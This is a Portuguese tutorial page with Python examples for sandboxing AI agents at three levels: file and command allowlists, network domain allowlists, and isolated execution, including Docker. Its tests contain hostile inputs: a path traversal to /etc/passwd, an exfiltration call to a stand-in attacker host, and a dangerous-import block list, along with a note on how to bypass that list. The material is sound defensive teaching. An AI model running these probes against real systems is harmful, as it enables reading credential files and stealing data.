Sandboxing e isolamento
Nesta página
Por que isolar agentes de IA?
Um agente de IA que executa código ou chama ferramentas é fundamentalmente diferente de um simples chatbot. Um chatbot comprometido produz, na pior das hipóteses, uma resposta embaraçosa; um agente comprometido age — pode executar comandos do sistema, ler ficheiros sensíveis ou comunicar com serviços externos. Todas as defesas abordadas até agora visavam prevenir o comprometimento. O sandboxing altera a postura: assume que o comprometimento acabará por acontecer e foca-se em limitar o que um atacante pode fazer uma vez lá dentro. Esta é uma mudança fundamental, razão pela qual o sandboxing não substitui nenhuma das camadas anteriores.
Nível 1: Restringir o acesso a recursos
O primeiro nível aplica o princípio do menor privilégio a ficheiros e comandos. O ponto técnico chave é utilizar resolve() antes da comparação: sem isso, um caminho como /data/app/uploads/../../etc/passwd começa pelo diretório permitido e passaria numa verificação de prefixo ingénua. Resolver o caminho real derrota esta travessia, que continua a ser um dos ataques mais comuns contra agentes que manipulam ficheiros.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Os comandos seguem a mesma lógica, utilizando uma lista de permissões (allowlist) em vez de uma lista de bloqueio (blocklist). A assimetria é decisiva: uma lista de bloqueio obriga-o a imaginar todos os comandos perigosos — um exercício que perderá —, enquanto uma lista de permissões apenas exige que enumere o que o agente realmente necessita, muitas vezes apenas três ou quatro comandos.
Nível 2: Controlar o tráfego de saída
O isolamento de rede aborda o cenário de exfiltração discutido anteriormente. Enquanto o agente puder enviar um pedido HTTP para qualquer domínio, qualquer dado que toque pode sair do seu perímetro, e o tráfego de saída parecerá tráfego de aplicação comum. Restringir os destinos a uma lista explícita transforma uma tentativa de exfiltração numa exceção registada.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
Nível 3: Executar código sem confiar na máquina
Executar código escrito por um modelo é o caso mais delicado. A implementação abaixo combina três proteções: verificação de importações antes da execução, limites de memória e tempo de CPU definidos no próprio script e um ambiente reduzido ao mínimo necessário ao iniciar o subprocesso.
É necessário um aviso relativamente à verificação de importações. Esta baseia-se na pesquisa de texto, e um atacante cuidadoso contorná-la-á — __import__("os") não contém a cadeia pesquisada. Encare esta verificação como uma guarda contra erros e tentativas ingénuas, nunca como uma fronteira de segurança. A verdadeira fronteira é o processo isolado com os seus limites de recursos.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
Para casos de produção, o Docker fornece um isolamento mais robusto, pois deixa de depender da cooperação do código executado. Cada opção de comando fecha uma porta específica: --network=none remove qualquer possibilidade de exfiltração de rede, --read-only impede a persistência, --memory e --cpus limitam o consumo, --tmpfs concede um espaço de trabalho volátil e limitado, e --security-opt=no-new-privileges proíbe a escalada durante a execução. A flag --rm destrói o contentor no final, garantindo que nenhum estado sobrevive de uma execução para a outra.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Escolher o nível adequado
Empilhar os três níveis num simples chatbot de FAQ é dispendioso e desnecessário, enquanto confiar apenas no primeiro nível para um agente que executa código equivale a não proteger nada. A tabela abaixo fornece um ponto de partida; ajuste-a com base na sensibilidade dos dados acessíveis, o que muitas vezes importa mais do que a sofisticação do agente.
| Cenário | Nível recomendado |
|---|---|
| Chatbot simples de perguntas e respostas | Permissões (Nível 1) |
| Agente com acesso à API | Permissões + Rede (Níveis 1-2) |
| Agente que executa código | Docker completo (Nível 3) |
| Agente multiutilizador | Docker + isolamento de sessão |
Seja qual for o nível que escolher, teste-o como testaria uma funcionalidade. Um sandbox que instala e depois esquece degrada-se silenciosamente ao longo do tempo — uma dependência adicionada, um volume montado “temporariamente”, um domínio aberto para resolução de problemas. Volte a executar testes de travessia de caminhos e de domínios proibidos com cada atualização do agente: uma violação do sandbox não é uma anomalia menor, é um incidente crítico.
Pontos-chave
- O sandboxing é essencial assim que um agente tem acesso a ferramentas ou executa código
- Três níveis de isolamento: permissões, rede, contentor — combine com base no risco
- O princípio do menor privilégio aplica-se a todos os recursos: ficheiros, rede, comandos
- O Docker com
--network=nonee--read-onlyfornece o isolamento mais robusto - O isolamento deve ser testado regularmente — uma violação do sandbox é um incidente crítico